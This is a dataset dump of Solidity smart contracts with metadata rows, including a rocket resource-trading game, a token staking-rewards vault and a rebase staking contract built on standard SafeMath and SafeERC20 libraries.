rocketResourceCount[rocket] = new uint[](resourceLen_);
rocketResourcePrices[rocket] = new uint[](resourceLen_);
rocketResourceYccFunds[rocket] = new uint[](resourceLen_);
for (uint j = 0; j < resourceLen_; j++) {
rocketResourceCount[rocket][j] = resourceCounts_[resourceBaseIdx + j];
rocketResourcePrices[rocket][j] = resourcePrices_[resourceBaseIdx + j];
rocketResourceYccFunds[rocket][j] = resourceYccFunds_[resourceBaseIdx + j];
}
}
}
function getCityResources(uint cityTokenId_) public view returns (uint[] _resourceCounts) {
_resourceCounts = cityResourceCount[cityTokenId_];
}
function getCityResourceRichness(uint cityTokenId_) public onlyYCC view returns (uint[] _resourceRichness) {
_resourceRichness = cityResourceRichness[cityTokenId_];
}
function cityTransferResources(uint cityTokenId_, uint rocketTokenId_, uint res_, uint count_) public {
require(contractActive);
require(yct.ownerOf(cityTokenId_)==msg.sender);
uint yccAmount = rocketResourcePrices[rocketTokenId_][res_] * count_;
require(cityResourceCount[cityTokenId_][res_] >= count_);
require(rocketResourceYccFunds[rocketTokenId_][res_] >= yccAmount);
cityResourceCount[cityTokenId_][res_] -= count_;
rocketResourceCount[rocketTokenId_][res_] += count_;
rocketResourceYccFunds[rocketTokenId_][res_] -= yccAmount;
ycc.payoutForMining(msg.sender, yccAmount);
ResourcesTransfered(cityTokenId_, rocketTokenId_, res_, count_);
}
function discoveryCooldown(uint cityTokenId_) public view returns (uint _cooldownBlocks) {
uint totalVotes = subcontinentDiscoveryVoting.totalVotes();
if (totalVotes <= 0)
totalVotes = 1;
uint range = discoveryCooldownMax-discoveryCooldownMin;
uint subcontinentId = cityTokenId_ % MAX_SUBCONTINENT_INDEX;
_cooldownBlocks = range - (subcontinentDiscoveryVoting.getVotes(subcontinentId).mul(range)).div(totalVotes) + discoveryCooldownMin;
}
function discoveryPrice(uint cityTokenId_) public view returns (uint _price) {
uint totalVotes = subcontinentDiscoveryVoting.totalVotes();
if (totalVotes <= 0)
totalVotes = 1;
uint range = discoveryPriceMax-discoveryPriceMin;
uint subcontinentId = cityTokenId_ % MAX_SUBCONTINENT_INDEX;
_price = range - (subcontinentDiscoveryVoting.getVotes(subcontinentId).mul(range)).div(totalVotes) + discoveryPriceMin;
}
function discoveryBlocksUntilAllowed(uint cityTokenId_) public view returns (uint _blocks) {
uint blockNextDiscoveryAllowed = discoveryLastBlock[cityTokenId_] + discoveryCooldown(cityTokenId_);
if (block.number > blockNextDiscoveryAllowed) {
_blocks = 0;
} else {
_blocks = blockNextDiscoveryAllowed - block.number;
}
}
function discoverResources(uint cityTokenId_) public {
require(contractActive);
require(discoveryBlocksUntilAllowed(cityTokenId_) == 0);
uint yccAmount = this.discoveryPrice(cityTokenId_);
ycc.payForUpgrade(msg.sender, yccAmount);
discoveryLastBlock[cityTokenId_] = block.number;
uint resourceRichnessLen = cityResourceRichness[cityTokenId_].length;
for (uint i = 0; i < resourceRichnessLen; i++) {
cityResourceCount[cityTokenId_][i] += cityResourceRichness[cityTokenId_][i];
}
ResourcesDiscovered(cityTokenId_);
}
function rocketTravelTimeByResource(uint rocketTokenId_, uint res_) public view returns (uint _blocks) {
_blocks = rocketTravelTimeA * 6000 / rocketResourceCount[rocketTokenId_][res_];
}
function rocketTravelTime(uint rocketTokenId_) public view returns (uint _travelTimeBlocks) {
_travelTimeBlocks = rocketTravelTimeMinBlocks + rocketTravelTimeIncrease[rocketTokenId_];
uint resourceLen = rocketResourceCount[rocketTokenId_].length;
for (uint i = 0; i < resourceLen; i++) {
_travelTimeBlocks += rocketTravelTimeA * 6000 / rocketResourceCount[rocketTokenId_][i];
}
}
function rocketBlocksUntilAllowedToLaunch() public view returns (uint _blocksUntilAllowed) {
if (block.number > rocketEarliestLaunchTime) {
_blocksUntilAllowed = 0;
} else {
_blocksUntilAllowed = rocketEarliestLaunchTime - block.number;
}
}
function rocketIsLaunched(uint rocketTokenId_) public view returns (bool _isLaunched) {
_isLaunched = rocketLaunchBlock[rocketTokenId_] > 0;
}
function rocketArrivalTime(uint rocketTokenId_) public view returns (uint) {
require(rocketLaunchBlock[rocketTokenId_] > 0);
return rocketLaunchBlock[rocketTokenId_] + rocketTravelTimeAtLaunch[rocketTokenId_];
}
function increaseArrivalTime(uint rocketTokenId_, uint blocks) public onlyYCC {
if (rocketLaunchBlock[rocketTokenId_] > 0)
rocketTravelTimeAtLaunch[rocketTokenId_] = rocketTravelTimeAtLaunch[rocketTokenId_] + blocks;
else
rocketTravelTimeIncrease[rocketTokenId_] = rocketTravelTimeIncrease[rocketTokenId_] + blocks;
}
function decreaseArrivalTime(uint rocketTokenId_, uint blocks) public onlyYCC {
if (rocketLaunchBlock[rocketTokenId_] > 0)
rocketTravelTimeAtLaunch[rocketTokenId_] = rocketTravelTimeAtLaunch[rocketTokenId_] - blocks;
else
rocketTravelTimeIncrease[rocketTokenId_] = rocketTravelTimeIncrease[rocketTokenId_] - blocks;
}
function rocketTimeUntilMoon(uint rocketTokenId_) public view returns (uint _untilMoonBlocks) {
uint arrivalTime = rocketArrivalTime(rocketTokenId_);
if (block.number > arrivalTime) {
_untilMoonBlocks = 0;
} else {
_untilMoonBlocks = arrivalTime - block.number;
}
}
function rocketGetResourceValues(uint rocketTokenId_) public view returns (uint[] _yccAmounts, uint[] _resourcePrices, uint[] _resourceCounts) {
_yccAmounts = rocketResourceYccFunds[rocketTokenId_];
_resourcePrices = rocketResourcePrices[rocketTokenId_];
_resourceCounts = rocketResourceCount[rocketTokenId_];
}
function rocketSetResourcePrice(uint rocketTokenId_, uint res_, uint yccPrice_) public {
require(contractActive);
require(yct.ownerOf(rocketTokenId_)==msg.sender);
require(yccPrice_ > 0);
rocketResourcePrices[rocketTokenId_][res_] = yccPrice_;
}
function rocketAddFunds(uint rocketTokenId_, uint res_, uint yccAmount_) public {
require(contractActive);
ycc.payForUpgrade(msg.sender, yccAmount_);
rocketResourceYccFunds[rocketTokenId_][res_] += yccAmount_;
RocketAddFunds(rocketTokenId_, res_, yccAmount_, msg.sender);
}
function rocketLaunch(uint rocketTokenId_) public {
require(contractActive);
require(block.number > rocketEarliestLaunchTime);
require(yct.ownerOf(rocketTokenId_)==msg.sender);
rocketLaunchBlock[rocketTokenId_] = block.number;
rocketTravelTimeAtLaunch[rocketTokenId_] = rocketTravelTime(rocketTokenId_);
RocketLaunch(rocketTokenId_);
}
}
| 204,790 | 278 |
7f125f17d7993cb30cffc7368c31b55dc95ae06714289d192c56b599d3effe03
| 30,071 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x088b4B5c4128d829A7be3eD535e25Dd2C1A88F33/contract.sol
| 4,020 | 15,720 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.8.0;
// File: @openzeppelin/contracts/GSN/Context.sol
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/math/Math.sol
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Address.sol
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts/utils/ReentrancyGuard.sol
contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: contracts/PLNTVault.sol
contract PLNTVault is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public rewardsToken;
IERC20 public stakingToken;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public startTime = 1919415;
uint256 public rewardsDuration = 120 days;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function initialize(address rewardsTokenAddress,
address stakingTokenAddress) public onlyOwner {
require(rewardsTokenAddress != address(0x0),
"invalid rewardsTokenAddress");
require(stakingTokenAddress != address(0x0),
"invalid stakingTokenAddress");
require(address(rewardsToken) == address(0x0) ||
address(stakingToken) == address(0x0),
"initialized");
rewardsToken = IERC20(rewardsTokenAddress);
stakingToken = IERC20(stakingTokenAddress);
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (_totalSupply == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(_totalSupply));
}
function earned(address account) public view returns (uint256) {
return
_balances[account]
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
function getRewardForDuration() external view returns (uint256) {
return rewardRate.mul(rewardsDuration);
}
function stake(uint256 amount)
external
nonReentrant
updateReward(msg.sender)
{
require(amount > 0, "Cannot stake 0");
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount)
public
nonReentrant
updateReward(msg.sender)
{
require(amount > 0, "Cannot withdraw 0");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
stakingToken.safeTransfer(msg.sender, amount);
emit Withdrawn(msg.sender, amount);
}
function getReward() public nonReentrant updateReward(msg.sender) {
uint256 reward = rewards[msg.sender];
if (reward > 0) {
rewards[msg.sender] = 0;
rewardsToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function exit() external {
withdraw(_balances[msg.sender]);
getReward();
}
function notifyRewardAmount(uint256 reward)
external
onlyOwner
onlyStarted
updateReward(address(0))
{
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(rewardsDuration);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(rewardsDuration);
}
uint256 balance = rewardsToken.balanceOf(address(this));
require(rewardRate <= balance.div(rewardsDuration),
"Provided reward too high");
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(rewardsDuration);
emit RewardAdded(reward);
}
modifier onlyStarted() {
require(block.timestamp >= startTime, "Not Started");
_;
}
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
}
| 254,350 | 279 |
75c576cf77a2500addf97c945c4438cef79f28d08356b10a32fc88f4d7de4491
| 27,377 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/36/36757381BACA4F0Eb025a5f776a9D2FeF289e116_Address.sol
| 4,175 | 16,690 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IVOLTs {
function rebase(uint256 VOLTProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract VoltStaking is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public immutable VOLT;
address public immutable VOLTs;
struct Epoch {
uint length;
uint number;
uint endBlock;
uint distribute;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _VOLT,
address _VOLTs,
uint _epochLength,
uint _firstEpochNumber,
uint _firstEpochBlock) {
require(_VOLT != address(0));
VOLT = _VOLT;
require(_VOLTs != address(0));
VOLTs = _VOLTs;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endBlock: _firstEpochBlock,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
uint initialBalance = IERC20(VOLT).balanceOf(address(this));
IERC20(VOLT).safeTransferFrom(msg.sender, address(this), _amount);
uint newBalance = (IERC20(VOLT).balanceOf(address(this))).sub(initialBalance);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(newBalance),
gons: info.gons.add(IVOLTs(VOLTs).gonsForBalance(newBalance)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(VOLTs).safeTransfer(warmupContract, newBalance);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IVOLTs(VOLTs).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IVOLTs(VOLTs).balanceForGons(info.gons));
IERC20(VOLT).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(VOLTs).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(VOLT).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IVOLTs(VOLTs).index();
}
function rebase() public {
if(epoch.endBlock <= block.number) {
IVOLTs(VOLTs).rebase(epoch.distribute, epoch.number);
epoch.endBlock = epoch.endBlock.add(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IVOLTs(VOLTs).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(VOLT).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(VOLTs).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(VOLTs).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 308,555 | 280 |
aa765f964dda8d9c55d670fac6a51600def1bddddad5c55bac8a8358efc79dd4
| 18,308 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
